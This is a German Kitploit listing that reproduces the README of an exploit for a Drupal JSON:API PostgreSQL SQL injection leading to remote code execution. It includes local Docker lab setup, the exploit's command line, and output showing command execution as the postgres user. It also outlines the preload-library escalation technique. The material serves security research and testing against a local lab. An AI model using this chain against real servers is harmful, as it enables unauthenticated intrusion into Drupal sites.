Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-9082-drupal-postgresql-rce — Exploit für Drupal JSON:API PostgreSQL SQL-Injection zu RCE über native Preload-Bibliothek. Enthält ein lokales Docker-Lab zum Testen von PostgreSQL 12–18+ Escalation-Pfaden. | Kitploit
Tools/GitHubGitHub/ambionics/cve-2026-9082-drupal-postgresql-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsLernen & BildungPayload-EntwicklungDatenbanksicherheitBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Labs & Praxis
GitHubambionics/cve-2026-9082-drupal-postgresql-rce

cve-2026-9082-drupal-postgresql-rce

Exploit für Drupal JSON:API PostgreSQL SQL-Injection zu RCE über native Preload-Bibliothek. Enthält ein lokales Docker-Lab zum Testen von PostgreSQL 12–18+ Escalation-Pfaden.

Repository anzeigen
11vor 2 MonatenNoch nicht geprüft

CVE-2026-9082 Drupal PostgreSQL SQLi zu RCE

Dieses Repository enthält ein lokales Labor und einen kurzen Exploit für die Drupal JSON:API PostgreSQL SQL-Injection, die im Ambionics-Artikel beschrieben wird.

Der wichtige Teil des Exploits ist die PostgreSQL-Eskalation: Sobald die Injection einen SELECT-Ausdruck als PostgreSQL-Superuser auswerten kann, schreibt sie über Large Objects eine native Preload-Bibliothek, lädt postgresql.auto.conf neu, löst session_preload_libraries aus und ruft die Befehlsausgabe mit pg_read_file() ab.

Der Exploit liest zunächst version() aus und erstellt den PostgreSQL-Modul-Magic-Block für die erkannte Hauptversion. Er verarbeitet die Modul-ABI-Layouts von PostgreSQL 12, 13-14, 15-17 und 18+. Der lokale Compiler muss weiterhin ein Shared Object für die gleiche CPU-Architektur wie der Ziel-PostgreSQL-Server erzeugen.

Das Labor verwendet PostgreSQL 18.4, die zum Zeitpunkt der Erstellung neueste PostgreSQL-Version. Der PostgreSQL-Eskalationspfad wurde von PostgreSQL 12.20 bis PostgreSQL 18.4 getestet.

Contents

root@kitploit:~
.
├── docker-compose.yml
├── drupal/
│   ├── Dockerfile
│   ├── entrypoint.sh
│   └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md

Das Labor verwendet:

root@kitploit:~
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache

Drupal ist als postgres-Superuser mit PostgreSQL verbunden, sodass die SELECT-Only-SQL-Injection zu RCE eskaliert werden kann.

Requirements

root@kitploit:~
docker compose version
python3 --version
cc --version

Beispielausgabe:

root@kitploit:~
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0

Start the lab

Baue und starte die Container:

root@kitploit:~
docker compose build --quiet
docker compose up -d

Erwartete Ausgabe:

root@kitploit:~
Container cve9082-pg18    Started
Container cve9082-drupal  Started

Warten, bis Drupal den Status 'healthy' erreicht:

root@kitploit:~
docker compose ps

Erwartete Ausgabe:

root@kitploit:~
NAME              SERVICE   STATUS
cve9082-pg18      db        Up ... (healthy)
cve9082-drupal    drupal    Up ... (healthy)

Das Labor ist erreichbar unter:

root@kitploit:~
http://127.0.0.1:8089

Verify the lab

PostgreSQL-Version prüfen:

root@kitploit:~
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'

Erwartete Ausgabe:

root@kitploit:~
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit

Prüfen, ob JSON:API den initialen Artikel anzeigt:

root@kitploit:~
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'

Erwartete Ausgabe:

root@kitploit:~
{
    "jsonapi": {
        "version": "1.0"
    },
    "data": [
        {
            "type": "node--article"
        }
    ]
}

Install Python dependency

root@kitploit:~
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt

Erwartete Ausgabe:

root@kitploit:~
Successfully installed requests-...

Run the exploit

id über die nicht authentifizierte JSON:API-SQL-Injection ausführen:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id

Erwartete Ausgabe:

root@kitploit:~
[+] checking SQL injection context
    version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
    current_user: postgres superuser=True
    data_directory: /var/lib/postgresql/18/docker
    module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
    1400/14080 bytes
    ...
    14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
    189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

__exit=0
[+] restoring/clearing PostgreSQL preload settings
    152/152 bytes

Einen weiteren Befehl ausführen:

root@kitploit:~
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'

Erwartete Ausgabe:

root@kitploit:~
[+] reading command output
Linux ... x86_64 GNU/Linux

__exit=0

Stop the lab

Container stoppen, aber das Datenbank-Volume behalten:

root@kitploit:~
docker compose down

Container stoppen und das Datenbank-Volume löschen:

root@kitploit:~
docker compose down -v
Tool herunterladen